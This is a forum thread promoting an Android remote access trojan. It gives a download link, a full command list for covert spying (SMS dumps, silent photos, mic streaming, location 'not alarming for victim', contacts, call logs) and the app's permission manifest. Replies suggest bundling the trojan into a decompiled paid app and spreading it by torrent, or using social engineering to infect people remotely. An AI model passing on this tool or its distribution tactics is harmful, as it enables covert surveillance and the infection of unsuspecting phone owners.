Android Trojan in Java.

1. 2016-08-30 at 4:51 PM UTC

   #1
   

   Sophie Pedophile Tech Support
   I came across a neat little trojan written in Java, built with SDK22 that i thought might interest some of you. The trojan is complete with a client and server module. The C&C is web based and the client features include but are not limited to the following.
   

   • Remote administration
   • Execute shell commands
   • Record & live stream phone calls
   • Copy and send all text messages to C&C

   
   
   The commands the client takes are below.

   
     Command : - execute regular shell command on the victim's device
     Upload file : - should be filled with full path to the file that will be uploaded to logs/ directory on your server
     Spec commands:
     root [command] - try to execute command as root (if device is rooted)
     sms - get all sms dump from device
     download [file_url] - download file from the specified url onto device (into app's data/files directory)
     restart - restarts the service
     loc - get last known location (active location isnt used because it can be too alarming for victim)
     info - get basic informaion such as current connection type,battery level, available memory and service provider name
     record [secs] - record sound from the mic for amount of seconds (will be saved to data/files/logs)
     stream [ip] [port] - start real-time streaming sound from the device's mic via udp to your listening computer * (client is described later)
     sync - upload all files that were logged to the app's files/logs directory
     quit - end shell session
     clear - clear data/logs directory
     photo - silently make photos from all available cameras on device (1 from each) and save them to files/logs
     calllogs - get victim call's history
     bookmarks = get bookmarks from the system browser
     history - get browsing history from the system browser
     screenshot - make a screenshot of the device's current screen (works on rooted device only)
     getcontacts - get contact list with names and numbers from the device
     sendsms [number] [text] - send sms to specified number with some text
    

   
   
   Pretty dank, as a tool for mobile pentests and interesting from an analysis perspective imho. Check out the repo below for more details and to download/clone your own sample.
   
   https://github.com/androidtrojan1/android_trojan
   The following users say it would be alright if the author of this post didn't die in a fire!

   • The Self Taught Man
2. 2016-08-31 at 5:09 PM UTC

   #2
   

   SBTlauien African Astronaut

   <uses-permission android:name="android.permission.SEND_SMS"/>
   <uses-permission android:name="android.permission.CALL_PHONE"/>
   <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
   <uses-permission android:name="android.permission.READ_PHONE_STATE" />
   <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
   <uses-permission android:name="android.permission.RECORD_AUDIO"/>
   <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
   <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
   <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
   <uses-permission android:name="android.permission.INTERNET"/>
   <uses-permission android:name="android.permission.READ_SMS"/>
   <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
   <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
   <uses-permission android:name="android.permission.RECEIVE_SMS"/>
   <uses-permission android:name="android.permission.READ_CONTACTS"/>
   <uses-permission android:name="android.permission.CAMERA"/>
   <uses-permission android:name="android.permission.READ_CALL_LOG"/>
   <uses-permission android:name="android.permission.WAKE_LOCK"/>
   <uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>

   
   Good luck getting somebody to trust all of these petmissions. Maybe decompile a paid app that legitly needs them, put this in it, recompile, and then put up a torrent.
3. 2016-08-31 at 6:10 PM UTC

   #3
   

   Sophie Pedophile Tech Support

   Good luck getting somebody to trust all of these petmissions. Maybe decompile a paid app that legitly needs them, put this in it, recompile, and then put up a torrent.

   
   For me it was never a question of tricking people to get to install the malicious APK. It's like metasploit, you generate an infected APK and drop it on a phone you have in your possession at the moment i am under no illusion that you can use this to make a botnet, let alone remotely.
4. 2016-08-31 at 10:42 PM UTC

   #4
   

   Sophie Pedophile Tech Support
   On second thought if you were trying to infect people remotely i could see how social engineering or in effect binding it to another APK would be useful. Or you could just make a useful app around it i suppose.
5. 2016-08-31 at 11:28 PM UTC

   #5
   The Self Taught Man Black Hole
   pokemon go has more permissions.
6. 2016-09-01 at 2:13 AM UTC

   #6
   

   Sophie Pedophile Tech Support

   pokemon go has more permissions.

   
   Affirmative.